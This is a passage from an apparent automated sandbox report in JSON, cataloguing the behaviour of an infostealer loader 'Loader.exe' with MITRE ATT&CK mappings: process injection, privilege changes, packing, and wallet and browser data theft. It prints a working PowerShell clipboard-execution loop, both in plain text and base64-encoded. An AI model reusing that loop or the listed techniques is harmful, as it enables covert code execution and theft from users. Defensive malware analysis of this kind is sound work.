\"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"Loader.exe\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"Loader.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"Loader.exe\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007308-00000C2C-3486885420\")\n Found string \"OpenProcessTokenW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007308-00000C2C-3490439007\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007308-00000C2C-3490439534\")\n Found string \"OpenProcessW\" (Indicator: \"OpenProcess\"; Source: \"00000000-00007308-00000C2C-3490439573\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007308)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004092)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008248)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005928)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$56","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"ImpersonateLoggedOnUser\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CreateProcessAsUser\" (Indicator: \"CreateProcessAsUser\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"LookupPrivilegeValue\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"SetInformationFile\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"NtSetInformationFile\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"SetInformationFile\"; File: \"Loader.exe\")\n Found reference to API \"internal/syscall/windows.NtSetInformationFile\" (Indicator: \"NtSetInformationFile\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: Loader.exe\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: Loader.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"Loader.exe\")\n Found reference to API \"syscall.TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"Loader.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Loader.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$58","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"Loader.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"806964ff31e2acc80.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }\" (Indicator: \"Set-Clipboard\"; File: \"00000000-00005928\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00004092.00000001.292655.736A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"806964ff31e2acc80.exe\" - Location: [%APPDATA%\\806964ff31e2acc80.exe]- [targetUID: 00000000-00008272]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005928]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"abort\" (Source: Loader.exe, API is part of module: MSVCRT.DLL)\n Found string \"trunc\" (Source: Loader.exe, API is part of module: UCRTBASE.DLL)\n Found string \"accept\" (Source: Loader.exe, API is part of module: WS2_32.DLL)\n Found string \"remove\" (Source: Loader.exe, API is part of module: MSVCRT.DLL)\n Found string \"signal\" (Source: Loader.exe, API is part of module: MSVCRT.DLL)\n Found string \"connect\" (Source: Loader.exe, API is part of module: WS2_32.DLL)\n Found string \"tmpfile\" (Source: Loader.exe, API is part of module: MSVCRT.DLL)\n Found string \"shutdown\" (Source: Loader.exe, API is part of module: WS2_32.DLL)\n Found string \"WSAIoctl\" (Source: Loader.exe, API is part of module: WS2_32.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Loader.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Set/modify configurations using PowerShell","description":"Process \"powershell.exe\" with commandline \"-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A\" (UID: 00000000-00005928)","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-479","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7308)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4092)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 8248)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5928)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"Loader.exe\" has section name /19 with entropy \"7.996328436231248\"\n \"Loader.exe\" has section name /32 with entropy \"7.933900501222763\"\n \"Loader.exe\" has section name /65 with entropy \"7.998096652839275\"\n \"Loader.exe\" has section name /78 with entropy \"7.997251462411761\"\n \"Loader.exe\" has section name /95 with entropy \"7.994530159737569\"\n \"Loader.exe\" has section name /112 with entropy \"7.733124710086828\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses powershell with an encoded commandline","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":10,"id":"target-28","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to get process information using PowerShell","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Get-Process | Select-Object Name\"\" (UID: 00000000-00008248)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":5,"id":"target-221","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve geographical location information","description":"$5c","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-308","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"powershell.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00007308)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"806964ff31e2acc80.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$5d","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"806964ff31e2acc80.exe\" has type \"PE32+ executable for MS Windows 5.02 (GUI) x86-64 (stripped to external PDB) 10 sections\"- Location: [%APPDATA%\\806964ff31e2acc80.exe]- [targetUID: 00000000-00008272]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"Loader.exe\" wrote 32768 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\806964ff31e2acc80.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.20.29.150 on port 443 is sent without HTTP header\n TCP traffic to 172.65.251.78 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4lqkqt5a.fit.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_21vk4fqg.lkr.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u0bkqot5.d0a.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vxuej3kp.l0o.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vj3bc0ev.3ec.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qp1gjrnj.cz3.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_b4sz3hhm.jbz.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_dd1k4ukg.kmw.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetSystemInfo\n GetSystemDirectoryA\n GetThreadContext\n WriteFile\n CreateThread\n LoadLibraryW\n VirtualAlloc\n GetProcAddress\n LoadLibraryExW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"Loader.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"806964ff31e2acc80.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --headless --disable-gpu\" - (UID: 00000000-00008272)\n \"806964ff31e2acc80.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe\" --headless --disable-gpu\" - (UID: 00000000-00008272)\n \"806964ff31e2acc80.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\Mozilla Firefox\\firefox.exe\" --headless --disable-gpu\" - (UID: 00000000-00008272)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAH\" - (UID: 00000000-00004092)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5e","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"806964ff31e2acc80.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\bytecoin\"\n \"806964ff31e2acc80.exe\" opened file \"%APPDATA%\\bytecoin\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$5f","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$60","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$61","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$62","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"Found string \"Remove-Item\" (Indicator: \"Remove-Item\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to clear content (Powershell command string)","description":"Found string \"Clear-Host\" (Indicator: \"Clear-Host\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Clear-Content\" (Indicator: \"Clear-Content\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Clear-ItemProperty\" (Indicator: \"Clear-ItemProperty\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")\n Found string \"Clear-Variable\" (Indicator: \"Clear-Variable\"; Source: \"00000000-00002716.00000000.284251.D4BF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to rename items (Powershell command string)","description":"Found string 